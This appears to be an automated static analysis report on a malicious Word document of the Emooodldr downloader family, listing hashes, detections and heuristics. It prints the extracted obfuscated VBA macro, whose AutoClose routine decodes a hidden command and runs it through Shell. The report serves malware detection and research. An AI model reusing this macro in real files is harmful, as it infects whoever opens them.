Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f97576b901e8daaa…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: 2eb34962194c741b1b5cf7319e4d31df SHA-1: 5b2c33a879e0d74b01ce6c72e7ecff2eb822a0b9 SHA-256: f97576b901e8daaac28370cbbc31ed48b98cea84b64a7d83c1fc2c805bf0c672
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which utilizes the Shell() function to execute a command. This indicates the document is designed to download and run a secondary payload, characteristic of the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1982 bytes
SHA-256: edf73f79813b86c515ad4620c833afd43cd5e4bf8576977b550b713b845224dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function fogy(ozonosphere)
  giraffine = Array("e", "Y", "L", "y", "h", "O", "S", "5", "i", "x", "E", "B", "a", "6", "I", "D", "U", "t", "W", "H", "n", "G", "A", "Z", "2", "P", "4")
  inchoatively = Array("U", "o", "?", "i", " ", "x", "=", ".", "p", ":", "/", "u", "j", "c", "s", "h", "a", "q", "e", "N", "n", "b", "w", "t", "m", "f", "d")
  
  anodize = vbNullString
  
  For Each fruition In ozonosphere
    preconizers = broun(fruition, giraffine)
    If preconizers > -1 Then
    anodize = inchoatively(preconizers) + anodize
    End If
  Next
  
  fogy = StrReverse(anodize)
  
End Function

Public Function broun(hebetative, anaplasmoses)
  phantasmata = 5981
  hasn = 8041
  For phantasmata = 0 To UBound(anaplasmoses)
    If anaplasmoses(phantasmata) = hebetative Then
     hasn = phantasmata
    End If
  Next

  If hasn = 8041 Then
    hasn = -1
  End If
  
  broun = hasn
End Function


Sub AutoClose()
  ozonosphere = Array("2", "I", "D", "Z", "U", "5", "W", "O", "W", "h", "D", "Z", "Z", "i", "x", "E", "E", "y", "a", "t", "B", "4", "t", "a", "A", "W", "Y", "2", "U", "I", "n", "4", "t", "A", "5", "6", "Y", "2", "E", "H", "e", "E", "I", "Y", "P", "5", "i", "D", "i", "L", "B", "Z", "2", "U", "S", "G", "U", "A")
  campodea = fogy(ozonosphere)
  
  Application.Run "phytiferous", (campodea)
  
End Sub


Private Sub phytiferous(henchman)
   
   merengue = 909
   concha = True
   
   While concha
     speciesisms = merengue + 611
     If speciesisms - merengue > 7 Then
       spillages = disputant + "ll"
       Call VBA.Shell(henchman, vbNormalFocus - 1)
       concha = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 3d855d7e61e13ca0f423507476d740f198abb41532f48e5ed54aa7f97cee0fbc
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.